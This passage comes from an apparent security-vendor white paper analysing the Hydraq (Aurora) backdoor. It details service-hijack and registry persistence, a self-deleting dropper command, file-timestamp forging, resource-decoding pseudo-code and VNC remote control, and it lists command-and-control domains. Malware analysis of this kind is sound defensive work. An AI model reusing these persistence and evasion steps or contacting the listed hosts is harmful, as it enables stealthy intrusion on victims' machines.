1. Enumerates all services with the following characteristics:
ServiceType = SERVICE_WIN32
ServiceState = 3
2. Searches for services with the SERVICE_RUNNING state or the service name Brower [sic].
a.The malware checks the service configuration for the following ImagePatch value:
svchost.exe -k netsvcs
(It searches for services with this value as a command line parameter)
b. If the ImagePath value is found, it checks the registry key below and retrieves the
value of ServiceDll registry entry:
HKLM\SYSTEM\CurrentControlSet\Services\<service name>\Parameters
c. The malware modifies the service's configuration, modifying the service Start and Type
characteristics to the following:
Start - 2 SERVICE_AUTO_START
Type - 110
SERVICE_INTERACTIVE_PROCESS|SERVICE_WIN32_OWN_PROCESS
These service modifications enable the service to start automatically, interact with the desktop, and run in its own process.
3. If Step 2 is successful, the malware performs the following instructions:
a. Loads the resource file in memory and writes the resource's content to a file in "%USERPROFILE%\<service name>.dll".
This behavior drops the DLL component in the directory,
"%USERPROFILE%\<service name>.dll"
Note: %USERPROFILE% is "C:\Documents and Settings\<username>".
b. As part of its anti-forensic discovery, the malware modifies the DLL file time attributes to
be the same as kernel32.dll.
The date created, last accessed, and last modified will be modified in this case.
c. The Hydraq dropper modifies the registry key of the target service:
HKLM\SYSTEM\CurrentControlSet\Services\<service name>\Parameters\ServiceDll =
"%USERPROFILE%\<service name>.dll"
This automatically executes the DLL component on system start.
d.The malware starts the target service to execute the DLL component.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
4. If Step 2 is NOT successful, the malware performs the following instructions:
a. Loads the malware's resource file in memory and writes the resource's content to a file in
"%USERPROFILE%\<random name>.dll".
This behavior drops the DLL component file in the directory "%USERPROFILE%\<random
name>.dll"
Note:
%USERPROFILE% is "C:\Documents and Settings\<username>".
<random characters> is based on the result of GetTickCount API.
b. The malware creates a service with the same name as the generated filename of the
DLL component and with the following characteristics:
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS
StartType = SERVICE_AUTO_START
ErrorControl = SERVICE_ERROR_NORMAL
BinaryPathName = "%SystemRoot%\System32\svchost.exe -k "random name""
HKLM\SYSTEM\CurrentControlSet\Services\<random name>\Type =
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS
HKLM\SYSTEM\CurrentControlSet\Services\<random name>\Start = SERVICE_AUTO_START
HKLM\SYSTEM\CurrentControlSet\Services\<random name>\ErrorControl = dword:00000001
HKLM\SYSTEM\CurrentControlSet\Services\<random name>\ImagePath =
%SystemRoot%\System32\svchost.exe -k "<random name>"
HKLM\SYSTEM\CurrentControlSet\Services\<random name>\DisplayName = "<random name>"
HKLM\SYSTEM\CurrentControlSet\Services\<random name>\ObjectName = "LocalSystem"
HKLM\SYSTEM\CurrentControlSet\Services\<random name>\Description = "<random name>"
HKLM\SYSTEM\CurrentControlSet\Services\<random name>\Parameters\ServiceDll = "%USERPROFILE%\<random name>.dll"
HKLM\SYSTEM\CurrentControlSet\Services\<random name>\Parameters\StubPath = <dropper component filename>
It also adds the service name in the registry key below so the service will be executed on
start as a system service.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\<random name> = <random
name>
c. The malware starts the created service to execute the DLL component.
If the malware fails to create the service it adds the following registry entry:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<random name> = rundll32.exe
"%USERPROFILE%\<random name>.dll", Launch
It then executes the process with the parameters below. If this fails the malware will delete
the DLL component file.
rundll32.exe "%USERPROFILE%\<random name>.dll", Launch
Lastly the malware executes the file cmd.exe with the command line parameters below.
The purpose of this is to delete the dropper component.
"%system%\cmd.exe /c del "<dropper filename>" > nul"
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Appendix B - Initial Handshake
Appendix C - Customize Character Decoding
Resource decryption - Resource size is 0x158.
The malware does not modify the first 8 bytes of the resource and decodes the remaining
0x150 bytes using bitwise XOR on the 0x150 byte of the resource with 0x99 as the key. The
following decoding logic is used:
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
//----->Start decoding code
int k = 0;
//used for output buffer - decode result
for(int i = 0; i < 0x150; i+=4)
for(int j = 0; j < 0x04; j++)
rsrc_buffer[i+j] = rsrc_buffer[i+j] ^ 0x99;
if (rsrc_buffer[i+j] >= 0x41 && rsrc_buffer[i+j] =< 0x5A ) //0x41 = 'A' | 0x5A = Z
rsrc_buffer[i+j] = rsrc_buffer[i+j] - 0x41;
else if (rsrc_buffer[i+j] >= 0x61 && rsrc_buffer[i+j] =< 0x7A ) //0x61 = 'a' | 0x7A = 'z'
rsrc_buffer[i+j] = rsrc_buffer[i+j] - 0x47;
else if (rsrc_buffer[i+j] >= 0x30 && rsrc_buffer[i+j] =< 0x39) //0x30 = '0' | 0x39 = '9'
rsrc_buffer[i+j] = rsrc_buffer[i+j] + 0x04;
else if (rsrc_buffer[i+j] == 0x2B) // 0x2B = '+'
rsrc_buffer[i+j] = 0x3E; // 0x3E = '>'
else if (rsrc_buffer[i+j] == 0x2F) // 0x2F = '/'
rsrc_buffer[i+j] = 0x3F; // 0x3F = '?'
else if (rsrc_buffer[i+j] == 0x3D) // 0x2F = '='
rsrc_buffer[i+j] = 0x00;
}//for(int j = 0; j < 0x04; j++)
rsrc_buffer[i+1] = rsrc_buffer[i+1] >> 0x04
rsrc_buffer[i] = rsrc_buffer[i] << 0x02
rsrc_buffer[i+1] = rsrc_buffer[i] | rsrc_buffer[i+1]
[rsrc_result + k] = rsrc_buffer[i+1]
rsrc_buffer[i+1] = rsrc_buffer[i+1] << 0x04
rsrc_buffer[i+2] = rsrc_buffer[i+2] >> 0x02
rsrc_buffer[i+2] = rsrc_buffer[i+2] | rsrc_buffer[i+1]
rsrc_buffer[i+1] = rsrc_buffer[i+2]
rsrc_buffer[i+1] = rsrc_buffer[i+1] << 0x06
rsrc_buffer[i+1] = rsrc_buffer[i+1] | rsrc_buffer[i+3]
[rsrc_result + k + 1] = rsrc_buffer[i+2]
[rsrc_result + k + 2] = rsrc_buffer[i+1]
k+=3;
//for(int i = 0; i < 0x150; i+=4)
//----->End decoding code
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Appendix D - Real-time Graphical Control
The Hydraq backdoor client can initiate real-time graphical control through the installation of Virtual Network Computing (VNC). Based on the malware code, the VNC DLL component can be
installed in this sequence:
1. Client sends Command 0x04 Task 0x08 to upload the file acelpvc.dll.
2. Client initiates Command 0x07 Task 0x0B.
a. Get the file attributes of the file %System%\acelpvc.dll,
check if it is directory or file,
exit if its a directory.
b. Get address of acelpvc.dll
s export function 
EntryMain
c. Get the file attribute of the file %System%\VedioDriver.dll,
check if it is directory or file,
exit if its a directory.
3.1 If %System%\VedioDriver.dll exists,
a. Load acelpvc.dll in the memory space of the malware.
b. Execute acelpvc.dll
s EntryMain export function with the server IP address and port
as the parameter. The client is expected to have a VNC client to receive the framebuffer [9] from the server.
3.2 If %System%\VedioDriver.dll does NOT exist,
a. Contact the client to download VedioDriver.dll
b. The Server receives VedioDriver.dll from the client.
c. Verify the CRC value of the created file from the server, and delete if it is different.
d. Modify the file
s date and time attributes to be the same as the system file,
user32.dll.
[Appendix D Figure 01 - Acelpvc.dll list of APIs used in the Import Table]
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
[Appendix D Figure 02 - VedioDriver.dll Export Functions]
Appendix E - Domain Name List
360.homeunix.com
www.ccmp1.com
blog1.servebeer.com
sl1.homelinux.org
update.ourhobby.com
ftp2.homeunix.com
Complete List as published at http://www.security.nl/files/aurorafiles.txt
69.164.192.4
alt1.homelinux.com
amt1.homelinux.com
aop1.homelinux.com
app1.homelinux.com
blogspot.blogsite.org
filoups.info
ftpaccess.cc
google.homeunix.com
members.linode.com
tyuqwer.dyndns.org
voanews.ath.cx
webswan.33iqst.com:4000
yahoo.8866.org
ymail.ath.cx
yahooo.8866.org
connectproxy.3322.org
csport.2288.org
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Reference
[1] http://googleblog.blogspot.com/2010/01/new-approach-to-china.html
[2] http://www.state.gov/secretary/rm/2010/01/135519.htm
[3] http://www.dni.gov/testimonies/20100202_testimony.pdf
[4] http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage-Network
[5] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0249
[6] http://www.microsoft.com/technet/security/Bulletin/MS10-002.mspx
[7] http://en.wikipedia.org/wiki/Cyberwarfare
[8] Inside CyberWarfare by Jeffrey Carr http://oreilly.com/catalog/9780596802165
[9] http://en.wikipedia.org/wiki/Framebuffer
[10] http://www.forensicfocus.com/downloads/windows-registry-quick-reference.pdf
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ